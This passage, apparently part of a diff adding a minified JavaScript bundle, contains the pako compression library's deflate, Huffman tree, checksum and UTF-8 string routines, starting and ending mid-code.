e.hash_shift ^ e.window[e.strstart + A - 1]) & e.hash_mask, + n = e.prev[e.strstart & e.w_mask] = e.head[e.ins_h], + e.head[e.ins_h] = e.strstart), + e.prev_length = e.match_length, + e.prev_match = e.match_start, + e.match_length = A - 1, + 0 !== n && e.prev_length < e.max_lazy_match && e.strstart - n <= e.w_size - k && (e.match_length = j(e, n), + e.match_length <= 5 && (e.strategy === f || e.match_length === A && e.strstart - e.match_start > 4096) && (e.match_length = A - 1)), + e.prev_length >= A && e.match_length <= e.prev_length) { + a = e.strstart + e.lookahead - A, + r = i._tr_tally(e, e.strstart - 1 - e.prev_match, e.prev_length - A), + e.lookahead -= e.prev_length - 1, + e.prev_length -= 2; + do { + ++e.strstart <= a && (e.ins_h = (e.ins_h << e.hash_shift ^ e.window[e.strstart + A - 1]) & e.hash_mask, + n = e.prev[e.strstart & e.w_mask] = e.head[e.ins_h], + e.head[e.ins_h] = e.strstart) + } while (0 != --e.prev_length); + if (e.match_available = 0, + e.match_length = A - 1, + e.strstart++, + r && (B(e, !1), + 0 === e.strm.avail_out)) + return O + } else if (e.match_available) { + if ((r = i._tr_tally(e, 0, e.window[e.strstart - 1])) && B(e, !1), + e.strstart++, + e.lookahead--, + 0 === e.strm.avail_out) + return O + } else + e.match_available = 1, + e.strstart++, + e.lookahead-- + } + return e.match_available && (r = i._tr_tally(e, 0, e.window[e.strstart - 1]), + e.match_available = 0), + e.insert = e.strstart < A - 1 ? e.strstart : A - 1, + t === l ? (B(e, !0), + 0 === e.strm.avail_out ? P : R) : e.last_lit && (B(e, !1), + 0 === e.strm.avail_out) ? O : D + } + + function K(e, t, n, r, a) { + this.good_length = e, + this.max_lazy = t, + this.nice_length = n, + this.max_chain = r, + this.func = a + } + + function H(e) { + var t; + return e && e.state ? (e.total_in = e.total_out = 0, + e.data_type = g, (t = e.state).pending = 0, + t.pending_out = 0, + t.wrap < 0 && (t.wrap = -t.wrap), + t.status = t.wrap ? E : N, + e.adler = 2 === t.wrap ? 0 : 1, + t.last_flush = u, + i._tr_init(t), + p) : M(e, d) + } + + function z(e) { + var t, n = H(e); + return n === p && ((t = e.state).window_size = 2 * t.w_size, + U(t.head), + t.max_lazy_match = r[t.level].max_lazy, + t.good_match = r[t.level].good_length, + t.nice_match = r[t.level].nice_length, + t.max_chain_length = r[t.level].max_chain, + t.strstart = 0, + t.block_start = 0, + t.lookahead = 0, + t.insert = 0, + t.match_length = t.prev_length = A - 1, + t.match_available = 0, + t.ins_h = 0), + n + } + + function J(e, t, n, r, i, o) { + if (!e) + return d; + var s = 1; + if (t === h && (t = 6), + r < 0 ? (s = 0, + r = -r) : r > 15 && (s = 2, + r -= 16), + i < 1 || i > _ || n !== v || r < 8 || r > 15 || t < 0 || t > 9 || o < 0 || o > m) + return M(e, d); + 8 === r && (r = 9); + var c = new function() { + this.strm = null, + this.status = 0, + this.pending_buf = null, + this.pending_buf_size = 0, + this.pending_out = 0, + this.pending = 0, + this.wrap = 0, + this.gzhead = null, + this.gzindex = 0, + this.method = v, + this.last_flush = -1, + this.w_size = 0, + this.w_bits = 0, + this.w_mask = 0, + this.window = null, + this.window_size = 0, + this.prev = null, + this.head = null, + this.ins_h = 0, + this.hash_size = 0, + this.hash_bits = 0, + this.hash_mask = 0, + this.hash_shift = 0, + this.block_start = 0, + this.match_length = 0, + this.prev_match = 0, + this.match_available = 0, + this.strstart = 0, + this.match_start = 0, + this.lookahead = 0, + this.prev_length = 0, + this.max_chain_length = 0, + this.max_lazy_match = 0, + this.level = 0, + this.strategy = 0, + this.good_match = 0, + this.nice_match = 0, + this.dyn_ltree = new a.Buf16(2 * S), + this.dyn_dtree = new a.Buf16(2 * (2 * y + 1)), + this.bl_tree = new a.Buf16(2 * (2 * w + 1)), + U(this.dyn_ltree), + U(this.dyn_dtree), + U(this.bl_tree), + this.l_desc = null, + this.d_desc = null, + this.bl_desc = null, + this.bl_count = new a.Buf16(C + 1), + this.heap = new a.Buf16(2 * b + 1), + U(this.heap), + this.heap_len = 0, + this.heap_max = 0, + this.depth = new a.Buf16(2 * b + 1), + U(this.depth), + this.l_buf = 0, + this.lit_bufsize = 0, + this.last_lit = 0, + this.d_buf = 0, + this.opt_len = 0, + this.static_len = 0, + this.matches = 0, + this.insert = 0, + this.bi_buf = 0, + this.bi_valid = 0 + }; + return e.state = c, + c.strm = e, + c.wrap = s, + c.gzhead = null, + c.w_bits = r, + c.w_size = 1 << c.w_bits, + c.w_mask = c.w_size - 1, + c.hash_bits = i + 7, + c.hash_size = 1 << c.hash_bits, + c.hash_mask = c.hash_size - 1, + c.hash_shift = ~~((c.hash_bits + A - 1) / A), + c.window = new a.Buf8(2 * c.w_size), + c.head = new a.Buf16(c.hash_size), + c.prev = new a.Buf16(c.w_size), + c.lit_bufsize = 1 << i + 6, + c.pending_buf_size = 4 * c.lit_bufsize, + c.pending_buf = new a.Buf8(c.pending_buf_size), + c.d_buf = 1 * c.lit_bufsize, + c.l_buf = 3 * c.lit_bufsize, + c.level = t, + c.strategy = o, + c.method = n, + z(e) + } + r = [new K(0, 0, 0, 0, function(e, t) { + var n = 65535; + for (n > e.pending_buf_size - 5 && (n = e.pending_buf_size - 5);;) { + if (e.lookahead <= 1) { + if (q(e), + 0 === e.lookahead && t === u) + return O; + if (0 === e.lookahead) + break + } + e.strstart += e.lookahead, + e.lookahead = 0; + var r = e.block_start + n; + if ((0 === e.strstart || e.strstart >= r) && (e.lookahead = e.strstart - r, + e.strstart = r, + B(e, !1), + 0 === e.strm.avail_out)) + return O; + if (e.strstart - e.block_start >= e.w_size - k && (B(e, !1), + 0 === e.strm.avail_out)) + return O + } + return e.insert = 0, + t === l ? (B(e, !0), + 0 === e.strm.avail_out ? P : R) : (e.strstart > e.block_start && (B(e, !1), + e.strm.avail_out), + O) + }), new K(4, 4, 8, 4, V), new K(4, 5, 16, 8, V), new K(4, 6, 32, 32, V), new K(4, 4, 16, 16, F), new K(8, 16, 32, 32, F), new K(8, 16, 128, 128, F), new K(8, 32, 128, 256, F), new K(32, 128, 258, 1024, F), new K(32, 258, 258, 4096, F)], + t.deflateInit = function(e, t) { + return J(e, t, v, 15, 8, 0) + }, + t.deflateInit2 = J, + t.deflateReset = z, + t.deflateResetKeep = H, + t.deflateSetHeader = function(e, t) { + return e && e.state ? 2 !== e.state.wrap ? d : (e.state.gzhead = t, + p) : d + }, + t.deflate = function(e, t) { + var n, a, o, c; + if (!e || !e.state || t > 5 || t < 0) + return e ? M(e, d) : d; + if (a = e.state, !e.output || !e.input && 0 !== e.avail_in || a.status === x && t !== l) + return M(e, 0 === e.avail_out ? -5 : d); + if (a.strm = e, + n = a.last_flush, + a.last_flush = t, + a.status === E) + if (2 === a.wrap) + e.adler = 0, + G(a, 31), + G(a, 139), + G(a, 8), + a.gzhead ? (G(a, (a.gzhead.text ? 1 : 0) + (a.gzhead.hcrc ? 2 : 0) + (a.gzhead.extra ? 4 : 0) + (a.gzhead.name ? 8 : 0) + (a.gzhead.comment ? 16 : 0)), + G(a, 255 & a.gzhead.time), + G(a, a.gzhead.time >> 8 & 255), + G(a, a.gzhead.time >> 16 & 255), + G(a, a.gzhead.time >> 24 & 255), + G(a, 9 === a.level ? 2 : a.strategy >= 2 || a.level < 2 ? 4 : 0), + G(a, 255 & a.gzhead.os), + a.gzhead.extra && a.gzhead.extra.length && (G(a, 255 & a.gzhead.extra.length), + G(a, a.gzhead.extra.length >> 8 & 255)), + a.gzhead.hcrc && (e.adler = s(e.adler, a.pending_buf, a.pending, 0)), + a.gzindex = 0, + a.status = 69) : (G(a, 0), + G(a, 0), + G(a, 0), + G(a, 0), + G(a, 0), + G(a, 9 === a.level ? 2 : a.strategy >= 2 || a.level < 2 ? 4 : 0), + G(a, 3), + a.status = N); + else { + var h = v + (a.w_bits - 8 << 4) << 8; + h |= (a.strategy >= 2 || a.level < 2 ? 0 : a.level < 6 ? 1 : 6 === a.level ? 2 : 3) << 6, + 0 !== a.strstart && (h |= 32), + h += 31 - h % 31, + a.status = N, + Q(a, h), + 0 !== a.strstart && (Q(a, e.adler >>> 16), + Q(a, 65535 & e.adler)), + e.adler = 1 + } + if (69 === a.status) + if (a.gzhead.extra) { + for (o = a.pending; a.gzindex < (65535 & a.gzhead.extra.length) && (a.pending !== a.pending_buf_size || (a.gzhead.hcrc && a.pending > o && (e.adler = s(e.adler, a.pending_buf, a.pending - o, o)), + W(e), + o = a.pending, + a.pending !== a.pending_buf_size));) + G(a, 255 & a.gzhead.extra[a.gzindex]), + a.gzindex++; + a.gzhead.hcrc && a.pending > o && (e.adler = s(e.adler, a.pending_buf, a.pending - o, o)), + a.gzindex === a.gzhead.extra.length && (a.gzindex = 0, + a.status = 73) + } else + a.status = 73; + if (73 === a.status) + if (a.gzhead.name) { + o = a.pending; + do { + if (a.pending === a.pending_buf_size && (a.gzhead.hcrc && a.pending > o && (e.adler = s(e.adler, a.pending_buf, a.pending - o, o)), + W(e), + o = a.pending, + a.pending === a.pending_buf_size)) { + c = 1; + break + } + c = a.gzindex < a.gzhead.name.length ? 255 & a.gzhead.name.charCodeAt(a.gzindex++) : 0, + G(a, c) + } while (0 !== c); + a.gzhead.hcrc && a.pending > o && (e.adler = s(e.adler, a.pending_buf, a.pending - o, o)), + 0 === c && (a.gzindex = 0, + a.status = 91) + } else + a.status = 91; + if (91 === a.status) + if (a.gzhead.comment) { + o = a.pending; + do { + if (a.pending === a.pending_buf_size && (a.gzhead.hcrc && a.pending > o && (e.adler = s(e.adler, a.pending_buf, a.pending - o, o)), + W(e), + o = a.pending, + a.pending === a.pending_buf_size)) { + c = 1; + break + } + c = a.gzindex < a.gzhead.comment.length ? 255 & a.gzhead.comment.charCodeAt(a.gzindex++) : 0, + G(a, c) + } while (0 !== c); + a.gzhead.hcrc && a.pending > o && (e.adler = s(e.adler, a.pending_buf, a.pending - o, o)), + 0 === c && (a.status = T) + } else + a.status = T; + if (a.status === T && (a.gzhead.hcrc ? (a.pending + 2 > a.pending_buf_size && W(e), + a.pending + 2 <= a.pending_buf_size && (G(a, 255 & e.adler), + G(a, e.adler >> 8 & 255), + e.adler = 0, + a.status = N)) : a.status = N), + 0 !== a.pending) { + if (W(e), + 0 === e.avail_out) + return a.last_flush = -1, + p + } else if (0 === e.avail_in && L(t) <= L(n) && t !== l) + return M(e, -5); + if (a.status === x && 0 !== e.avail_in) + return M(e, -5); + if (0 !== e.avail_in || 0 !== a.lookahead || t !== u && a.status !== x) { + var f = 2 === a.strategy ? function(e, t) { + for (var n;;) { + if (0 === e.lookahead && (q(e), + 0 === e.lookahead)) { + if (t === u) + return O; + break + } + if (e.match_length = 0, + n = i._tr_tally(e, 0, e.window[e.strstart]), + e.lookahead--, + e.strstart++, + n && (B(e, !1), + 0 === e.strm.avail_out)) + return O + } + return e.insert = 0, + t === l ? (B(e, !0), + 0 === e.strm.avail_out ? P : R) : e.last_lit && (B(e, !1), + 0 === e.strm.avail_out) ? O : D + }(a, t) : 3 === a.strategy ? function(e, t) { + for (var n, r, a, o, s = e.window;;) { + if (e.lookahead <= I) { + if (q(e), + e.lookahead <= I && t === u) + return O; + if (0 === e.lookahead) + break + } + if (e.match_length = 0, + e.lookahead >= A && e.strstart > 0 && (r = s[a = e.strstart - 1]) === s[++a] && r === s[++a] && r === s[++a]) { + o = e.strstart + I; + do {} while (r === s[++a] && r === s[++a] && r === s[++a] && r === s[++a] && r === s[++a] && r === s[++a] && r === s[++a] && r === s[++a] && a < o); + e.match_length = I - (o - a), + e.match_length > e.lookahead && (e.match_length = e.lookahead) + } + if (e.match_length >= A ? (n = i._tr_tally(e, 1, e.match_length - A), + e.lookahead -= e.match_length, + e.strstart += e.match_length, + e.match_length = 0) : (n = i._tr_tally(e, 0, e.window[e.strstart]), + e.lookahead--, + e.strstart++), + n && (B(e, !1), + 0 === e.strm.avail_out)) + return O + } + return e.insert = 0, + t === l ? (B(e, !0), + 0 === e.strm.avail_out ? P : R) : e.last_lit && (B(e, !1), + 0 === e.strm.avail_out) ? O : D + }(a, t) : r[a.level].func(a, t); + if (f !== P && f !== R || (a.status = x), + f === O || f === P) + return 0 === e.avail_out && (a.last_flush = -1), + p; + if (f === D && (1 === t ? i._tr_align(a) : 5 !== t && (i._tr_stored_block(a, 0, 0, !1), + 3 === t && (U(a.head), + 0 === a.lookahead && (a.strstart = 0, + a.block_start = 0, + a.insert = 0))), + W(e), + 0 === e.avail_out)) + return a.last_flush = -1, + p + } + return t !== l ? p : a.wrap <= 0 ? 1 : (2 === a.wrap ? (G(a, 255 & e.adler), + G(a, e.adler >> 8 & 255), + G(a, e.adler >> 16 & 255), + G(a, e.adler >> 24 & 255), + G(a, 255 & e.total_in), + G(a, e.total_in >> 8 & 255), + G(a, e.total_in >> 16 & 255), + G(a, e.total_in >> 24 & 255)) : (Q(a, e.adler >>> 16), + Q(a, 65535 & e.adler)), + W(e), + a.wrap > 0 && (a.wrap = -a.wrap), + 0 !== a.pending ? p : 1) + }, + t.deflateEnd = function(e) { + var t; + return e && e.state ? (t = e.state.status) !== E && 69 !== t && 73 !== t && 91 !== t && t !== T && t !== N && t !== x ? M(e, d) : (e.state = null, + t === N ? M(e, -3) : p) : d + }, + t.deflateSetDictionary = function(e, t) { + var n, r, i, s, c, u, l, h, f = t.length; + if (!e || !e.state) + return d; + if (2 === (s = (n = e.state).wrap) || 1 === s && n.status !== E || n.lookahead) + return d; + for (1 === s && (e.adler = o(e.adler, t, f, 0)), + n.wrap = 0, + f >= n.w_size && (0 === s && (U(n.head), + n.strstart = 0, + n.block_start = 0, + n.insert = 0), + h = new a.Buf8(n.w_size), + a.arraySet(h, t, f - n.w_size, n.w_size, 0), + t = h, + f = n.w_size), + c = e.avail_in, + u = e.next_in, + l = e.input, + e.avail_in = f, + e.next_in = 0, + e.input = t, + q(n); n.lookahead >= A;) { + r = n.strstart, + i = n.lookahead - (A - 1); + do { + n.ins_h = (n.ins_h << n.hash_shift ^ n.window[r + A - 1]) & n.hash_mask, + n.prev[r & n.w_mask] = n.head[n.ins_h], + n.head[n.ins_h] = r, + r++ + } while (--i); + n.strstart = r, + n.lookahead = A - 1, + q(n) + } + return n.strstart += n.lookahead, + n.block_start = n.strstart, + n.insert = n.lookahead, + n.lookahead = 0, + n.match_length = n.prev_length = A - 1, + n.match_available = 0, + e.next_in = u, + e.input = l, + e.avail_in = c, + n.wrap = s, + p + }, + t.deflateInfo = ""pako deflate (from Nodeca project)"" + }, + function(e, t, n) { + ""use strict""; + var r = n(1); + + function a(e) { + for (var t = e.length; --t >= 0;) + e[t] = 0 + } + var i = 0, + o = 256, + s = o + 1 + 29, + c = 30, + u = 19, + l = 2 * s + 1, + p = 15, + d = 16, + h = 256, + f = 16, + m = 17, + g = 18, + v = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0], + _ = [0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13], + b = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 3, 7], + y = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15], + w = new Array(2 * (s + 2)); + a(w); + var S = new Array(2 * c); + a(S); + var C = new Array(512); + a(C); + var A = new Array(256); + a(A); + var I = new Array(29); + a(I); + var k, E, T, N = new Array(c); + + function x(e, t, n, r, a) { + this.static_tree = e, + this.extra_bits = t, + this.extra_base = n, + this.elems = r, + this.max_length = a, + this.has_stree = e && e.length + } + + function O(e, t) { + this.dyn_tree = e, + this.max_code = 0, + this.stat_desc = t + } + + function D(e) { + return e < 256 ? C[e] : C[256 + (e >>> 7)] + } + + function P(e, t) { + e.pending_buf[e.pending++] = 255 & t, + e.pending_buf[e.pending++] = t >>> 8 & 255 + } + + function R(e, t, n) { + e.bi_valid > d - n ? (e.bi_buf |= t << e.bi_valid & 65535, + P(e, e.bi_buf), + e.bi_buf = t >> d - e.bi_valid, + e.bi_valid += n - d) : (e.bi_buf |= t << e.bi_valid & 65535, + e.bi_valid += n) + } + + function M(e, t, n) { + R(e, n[2 * t], n[2 * t + 1]) + } + + function L(e, t) { + var n = 0; + do { + n |= 1 & e, + e >>>= 1, + n <<= 1 + } while (--t > 0); + return n >>> 1 + } + + function U(e, t, n) { + var r, a, i = new Array(p + 1), + o = 0; + for (r = 1; r <= p; r++) + i[r] = o = o + n[r - 1] << 1; + for (a = 0; a <= t; a++) { + var s = e[2 * a + 1]; + 0 !== s && (e[2 * a] = L(i[s]++, s)) + } + } + + function W(e) { + var t; + for (t = 0; t < s; t++) + e.dyn_ltree[2 * t] = 0; + for (t = 0; t < c; t++) + e.dyn_dtree[2 * t] = 0; + for (t = 0; t < u; t++) + e.bl_tree[2 * t] = 0; + e.dyn_ltree[2 * h] = 1, + e.opt_len = e.static_len = 0, + e.last_lit = e.matches = 0 + } + + function B(e) { + e.bi_valid > 8 ? P(e, e.bi_buf) : e.bi_valid > 0 && (e.pending_buf[e.pending++] = e.bi_buf), + e.bi_buf = 0, + e.bi_valid = 0 + } + + function G(e, t, n, r) { + var a = 2 * t, + i = 2 * n; + return e[a] < e[i] || e[a] === e[i] && r[t] <= r[n] + } + + function Q(e, t, n) { + for (var r = e.heap[n], a = n << 1; a <= e.heap_len && (a < e.heap_len && G(t, e.heap[a + 1], e.heap[a], e.depth) && a++, !G(t, r, e.heap[a], e.depth));) + e.heap[n] = e.heap[a], + n = a, + a <<= 1; + e.heap[n] = r + } + + function j(e, t, n) { + var r, a, i, s, c = 0; + if (0 !== e.last_lit) + do { + r = e.pending_buf[e.d_buf + 2 * c] << 8 | e.pending_buf[e.d_buf + 2 * c + 1], + a = e.pending_buf[e.l_buf + c], + c++, + 0 === r ? M(e, a, t) : (M(e, (i = A[a]) + o + 1, t), + 0 !== (s = v[i]) && R(e, a -= I[i], s), + M(e, i = D(--r), n), + 0 !== (s = _[i]) && R(e, r -= N[i], s)) + } while (c < e.last_lit); + M(e, h, t) + } + + function q(e, t) { + var n, r, a, i = t.dyn_tree, + o = t.stat_desc.static_tree, + s = t.stat_desc.has_stree, + c = t.stat_desc.elems, + u = -1; + for (e.heap_len = 0, + e.heap_max = l, + n = 0; n < c; n++) + 0 !== i[2 * n] ? (e.heap[++e.heap_len] = u = n, + e.depth[n] = 0) : i[2 * n + 1] = 0; + for (; e.heap_len < 2;) + i[2 * (a = e.heap[++e.heap_len] = u < 2 ? ++u : 0)] = 1, + e.depth[a] = 0, + e.opt_len--, + s && (e.static_len -= o[2 * a + 1]); + for (t.max_code = u, + n = e.heap_len >> 1; n >= 1; n--) + Q(e, i, n); + a = c; + do { + n = e.heap[1], + e.heap[1] = e.heap[e.heap_len--], + Q(e, i, 1), + r = e.heap[1], + e.heap[--e.heap_max] = n, + e.heap[--e.heap_max] = r, + i[2 * a] = i[2 * n] + i[2 * r], + e.depth[a] = (e.depth[n] >= e.depth[r] ? e.depth[n] : e.depth[r]) + 1, + i[2 * n + 1] = i[2 * r + 1] = a, + e.heap[1] = a++, + Q(e, i, 1) + } while (e.heap_len >= 2); + e.heap[--e.heap_max] = e.heap[1], + function(e, t) { + var n, r, a, i, o, s, c = t.dyn_tree, + u = t.max_code, + d = t.stat_desc.static_tree, + h = t.stat_desc.has_stree, + f = t.stat_desc.extra_bits, + m = t.stat_desc.extra_base, + g = t.stat_desc.max_length, + v = 0; + for (i = 0; i <= p; i++) + e.bl_count[i] = 0; + for (c[2 * e.heap[e.heap_max] + 1] = 0, + n = e.heap_max + 1; n < l; n++) + (i = c[2 * c[2 * (r = e.heap[n]) + 1] + 1] + 1) > g && (i = g, + v++), + c[2 * r + 1] = i, + r > u || (e.bl_count[i]++, + o = 0, + r >= m && (o = f[r - m]), + s = c[2 * r], + e.opt_len += s * (i + o), + h && (e.static_len += s * (d[2 * r + 1] + o))); + if (0 !== v) { + do { + for (i = g - 1; 0 === e.bl_count[i];) + i--; + e.bl_count[i]--, + e.bl_count[i + 1] += 2, + e.bl_count[g]--, + v -= 2 + } while (v > 0); + for (i = g; 0 !== i; i--) + for (r = e.bl_count[i]; 0 !== r;) + (a = e.heap[--n]) > u || (c[2 * a + 1] !== i && (e.opt_len += (i - c[2 * a + 1]) * c[2 * a], + c[2 * a + 1] = i), + r--) + } + }(e, t), + U(i, u, e.bl_count) + } + + function V(e, t, n) { + var r, a, i = -1, + o = t[1], + s = 0, + c = 7, + u = 4; + for (0 === o && (c = 138, + u = 3), + t[2 * (n + 1) + 1] = 65535, + r = 0; r <= n; r++) + a = o, + o = t[2 * (r + 1) + 1], + ++s < c && a === o || (s < u ? e.bl_tree[2 * a] += s : 0 !== a ? (a !== i && e.bl_tree[2 * a]++, + e.bl_tree[2 * f]++) : s <= 10 ? e.bl_tree[2 * m]++ : e.bl_tree[2 * g]++, + s = 0, + i = a, + 0 === o ? (c = 138, + u = 3) : a === o ? (c = 6, + u = 3) : (c = 7, + u = 4)) + } + + function F(e, t, n) { + var r, a, i = -1, + o = t[1], + s = 0, + c = 7, + u = 4; + for (0 === o && (c = 138, + u = 3), + r = 0; r <= n; r++) + if (a = o, + o = t[2 * (r + 1) + 1], !(++s < c && a === o)) { + if (s < u) + do { + M(e, a, e.bl_tree) + } while (0 != --s); + else + 0 !== a ? (a !== i && (M(e, a, e.bl_tree), + s--), + M(e, f, e.bl_tree), + R(e, s - 3, 2)) : s <= 10 ? (M(e, m, e.bl_tree), + R(e, s - 3, 3)) : (M(e, g, e.bl_tree), + R(e, s - 11, 7)); + s = 0, + i = a, + 0 === o ? (c = 138, + u = 3) : a === o ? (c = 6, + u = 3) : (c = 7, + u = 4) + } + } + a(N); + var K = !1; + + function H(e, t, n, a) { + R(e, (i << 1) + (a ? 1 : 0), 3), + function(e, t, n, a) { + B(e), + P(e, n), + P(e, ~n), + r.arraySet(e.pending_buf, e.window, t, n, e.pending), + e.pending += n + }(e, t, n) + } + t._tr_init = function(e) { + K || (function() { + var e, t, n, r, a, i = new Array(p + 1); + for (n = 0, + r = 0; r < 28; r++) + for (I[r] = n, + e = 0; e < 1 << v[r]; e++) + A[n++] = r; + for (A[n - 1] = r, + a = 0, + r = 0; r < 16; r++) + for (N[r] = a, + e = 0; e < 1 << _[r]; e++) + C[a++] = r; + for (a >>= 7; r < c; r++) + for (N[r] = a << 7, + e = 0; e < 1 << _[r] - 7; e++) + C[256 + a++] = r; + for (t = 0; t <= p; t++) + i[t] = 0; + for (e = 0; e <= 143;) + w[2 * e + 1] = 8, + e++, + i[8]++; + for (; e <= 255;) + w[2 * e + 1] = 9, + e++, + i[9]++; + for (; e <= 279;) + w[2 * e + 1] = 7, + e++, + i[7]++; + for (; e <= 287;) + w[2 * e + 1] = 8, + e++, + i[8]++; + for (U(w, s + 1, i), + e = 0; e < c; e++) + S[2 * e + 1] = 5, + S[2 * e] = L(e, 5); + k = new x(w, v, o + 1, s, p), + E = new x(S, _, 0, c, p), + T = new x(new Array(0), b, 0, u, 7) + }(), + K = !0), + e.l_desc = new O(e.dyn_ltree, k), + e.d_desc = new O(e.dyn_dtree, E), + e.bl_desc = new O(e.bl_tree, T), + e.bi_buf = 0, + e.bi_valid = 0, + W(e) + }, + t._tr_stored_block = H, + t._tr_flush_block = function(e, t, n, r) { + var a, i, s = 0; + e.level > 0 ? (2 === e.strm.data_type && (e.strm.data_type = function(e) { + var t, n = 4093624447; + for (t = 0; t <= 31; t++, + n >>>= 1) + if (1 & n && 0 !== e.dyn_ltree[2 * t]) + return 0; + if (0 !== e.dyn_ltree[18] || 0 !== e.dyn_ltree[20] || 0 !== e.dyn_ltree[26]) + return 1; + for (t = 32; t < o; t++) + if (0 !== e.dyn_ltree[2 * t]) + return 1; + return 0 + }(e)), + q(e, e.l_desc), + q(e, e.d_desc), + s = function(e) { + var t; + for (V(e, e.dyn_ltree, e.l_desc.max_code), + V(e, e.dyn_dtree, e.d_desc.max_code), + q(e, e.bl_desc), + t = u - 1; t >= 3 && 0 === e.bl_tree[2 * y[t] + 1]; t--) + ; + return e.opt_len += 3 * (t + 1) + 5 + 5 + 4, + t + }(e), + a = e.opt_len + 3 + 7 >>> 3, (i = e.static_len + 3 + 7 >>> 3) <= a && (a = i)) : a = i = n + 5, + n + 4 <= a && -1 !== t ? H(e, t, n, r) : 4 === e.strategy || i === a ? (R(e, 2 + (r ? 1 : 0), 3), + j(e, w, S)) : (R(e, 4 + (r ? 1 : 0), 3), + function(e, t, n, r) { + var a; + for (R(e, t - 257, 5), + R(e, n - 1, 5), + R(e, r - 4, 4), + a = 0; a < r; a++) + R(e, e.bl_tree[2 * y[a] + 1], 3); + F(e, e.dyn_ltree, t - 1), + F(e, e.dyn_dtree, n - 1) + }(e, e.l_desc.max_code + 1, e.d_desc.max_code + 1, s + 1), + j(e, e.dyn_ltree, e.dyn_dtree)), + W(e), + r && B(e) + }, + t._tr_tally = function(e, t, n) { + return e.pending_buf[e.d_buf + 2 * e.last_lit] = t >>> 8 & 255, + e.pending_buf[e.d_buf + 2 * e.last_lit + 1] = 255 & t, + e.pending_buf[e.l_buf + e.last_lit] = 255 & n, + e.last_lit++, + 0 === t ? e.dyn_ltree[2 * n]++ : (e.matches++, + t--, + e.dyn_ltree[2 * (A[n] + o + 1)]++, + e.dyn_dtree[2 * D(t)]++), + e.last_lit === e.lit_bufsize - 1 + }, + t._tr_align = function(e) { + R(e, 2, 3), + M(e, h, w), + function(e) { + 16 === e.bi_valid ? (P(e, e.bi_buf), + e.bi_buf = 0, + e.bi_valid = 0) : e.bi_valid >= 8 && (e.pending_buf[e.pending++] = 255 & e.bi_buf, + e.bi_buf >>= 8, + e.bi_valid -= 8) + }(e) + } + }, + function(e, t, n) { + ""use strict""; + e.exports = function(e, t, n, r) { + for (var a = 65535 & e | 0, i = e >>> 16 & 65535 | 0, o = 0; 0 !== n;) { + n -= o = n > 2e3 ? 2e3 : n; + do { + i = i + (a = a + t[r++] | 0) | 0 + } while (--o); + a %= 65521, + i %= 65521 + } + return a | i << 16 | 0 + } + }, + function(e, t, n) { + ""use strict""; + var r = function() { + for (var e, t = [], n = 0; n < 256; n++) { + e = n; + for (var r = 0; r < 8; r++) + e = 1 & e ? 3988292384 ^ e >>> 1 : e >>> 1; + t[n] = e + } + return t + }(); + e.exports = function(e, t, n, a) { + var i = r, + o = a + n; + e ^= -1; + for (var s = a; s < o; s++) + e = e >>> 8 ^ i[255 & (e ^ t[s])]; + return -1 ^ e + } + }, + function(e, t, n) { + ""use strict""; + var r = n(1), + a = !0, + i = !0; + try { + String.fromCharCode.apply(null, [0]) + } catch (e) { + a = !1 + } + try { + String.fromCharCode.apply(null, new Uint8Array(1)) + } catch (e) { + i = !1 + } + for (var o = new r.Buf8(256), s = 0; s < 256; s++) + o[s] = s >= 252 ? 6 : s >= 248 ? 5 : s >= 240 ? 4 : s >= 224 ? 3 : s >= 192 ? 2 : 1; + + function c(e, t) { + if (t < 65534 && (e.subarray && i || !e.subarray && a)) + return String.fromCharCode.apply(null, r.shrinkBuf(e, t)); + for (var n = """", o = 0; o < t; o++) + n += String.fromCharCode(e[o]); + return n + } + o[254] = o[254] = 1, + t.string2buf = function(e) { + var t, n, a, i, o, s = e.length, + c = 0; + for (i = 0; i < s; i++) + 55296 == (64512 & (n = e.charCodeAt(i))) && i + 1 < s && 56320 == (64512 & (a = e.charCodeAt(i + 1))) && (n = 65536 + (n - 55296 << 10) + (a - 56320), + i++), + c += n < 128 ? 1 : n < 2048 ? 2 : n < 65536 ? 3 : 4; + for (t = new r.Buf8(c), + o = 0, + i = 0; o < c; i++) + 55296 == (64512 & (n = e.charCodeAt(i))) && i + 1 < s && 56320 == (64512 & (a = e.charCodeAt(i + 1))) && (n = 65536 + (n - 55296 << 10) + (a - 56320), + i++), + n < 128 ? t[o++] = n : n < 2048 ? (t[o++] = 192 | n >>> 6, + t[o++] = 128 | 63 & n) : n < 65536 ? (t[o++] = 224 | n >>> 12, + t[o++] = 128 | n >>> 6 & 63, + t[o++] = 128 | 63 & n) : (t[o++] = 240 | n >>> 18, + t[o++] = 128 | n >>> 12 & 63, + t[o++] = 128 | n >>> 6 & 63, + t[o++] = 128 | 63 & n); + return t + }, + t.buf2binstring = function(e) { + return c(e, e.length) + }, + t.binstring2buf = function(e) { + for (var t = new r.Buf8(e.length), n = 0, a = t.length; n < a; n++) + t[n] = e.charCodeAt(n); + return t + }, + t.buf2string = function(e, t) { + var n, r, a, i, s = t || e.length, + u = new Array(2 * s); + for (r = 0, + n = 0; n < s;) + if ((a = e[n++]) < 128) + u[r++] = a; + else if ((i = o[a]) > 4) + u[r++] = 65533, + n += i - 1; + else { + for (a &= 2 === i ? 31 : 3 === i ? 15 : 7; i > 1 && n < s;) + a = a << 6 | 63 & e[n++], + i--; + i > 1 ? u[r++] = 65533 : a < 65536 ? u[r++] = a : (a -= 65536, + u[r++] = 55296 | a >> 10 & 1023, + u[r++] = 56320 | 1023 & a) + } + return c(u, r) + }, + t.utf8border = function(e, t) { + var n; + for ((t = t || e.length) > e.length && (t = e.length), + n = t - 1; n >= 0 && 128 == (192 & e[n]);) + n--; + return n < 0 ? t : 0 === n ? t : n + o[e[n]] > t ? n : t + } + }, + function(e, t, n) { + ""use strict""; + e.exports = function() { + this.input = null, + this.next_in = 0, + this.avail_in = 0, + this.total_in = 0, + this.output = null, + this.next_out = 0, + this.avail_out = 0, + this.total_out = 0, + this.msg = """", + this.state = null, + this.data_type = 2, + this.adler = 0 + } + }, + function(e, t, n) { + ""use strict""; + e.exports = function(e, t, n) { + 